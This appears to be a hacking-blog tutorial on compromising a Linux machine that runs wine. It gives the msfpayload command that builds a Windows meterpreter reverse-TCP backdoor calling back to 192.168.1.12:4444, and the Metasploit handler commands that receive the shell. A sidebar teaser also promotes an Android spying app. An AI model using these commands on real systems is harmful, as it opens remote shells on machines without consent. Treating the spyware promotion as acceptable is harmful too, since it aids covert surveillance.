How to Hack Linux -Metasploit Tutorial Backtrack 5 R1

Metasploit is a wonderful tool for penetration testing that contain a database of publicly known exploits for various operating system and software’s, we have discussed how to hack windows via metasploit on backtrack Linux but how to hack Linux (Ubuntu and any other Linux) via metasploit. Metasploit contain several exploits for Linux operating system too but we can windows exploit for Linux. This is the video tutorial in which I will show you how to hack a Linux operating system because in the penetration testing sometimes we need to get the root access on the server or computer.


This video let you know about the weaknesses of wine (an application to run windows executable on Linux), yes an attacker take advantage of wine to execute their windows backdoor on Linux machine to get the full access on the computer.

[email protected]:~# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.12 lport=4444 X > backdoor.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {“lhost”=>”192.168.1.12”, “lport”=>”4444”}


Metasploit commands

msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.1.12
lhost => 192.168.1.12
msf  exploit(handler) > set lport 4444
lport => 4444
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.12:4444
[*] Starting the payload handler…




Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.
Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

Top 10 things to Do After Installing Kali Linux

Kali Linux is considered to be one of the best hacking distribution of this era, it is developed by Offensive Security to give an...

Become a spy in your own right with Xnspy Android spying app

Having become widely popular among parents and employers, spying apps have become quite the norm nowadays. Android spying apps have made it a lot...

e-Services Portals Potentially Expose Government Infrastructure to File-based Attacks

More and more users are embracing technology to perform their day-to-day activities. It’s not only private businesses that are forced to establish digital channels...

What is Nmap? How to use Nmap for Information Gathering

Nmap stands for Network Mapper, a powerful network scanning and host detection tool that is being used to perform reconnaissance in a very first...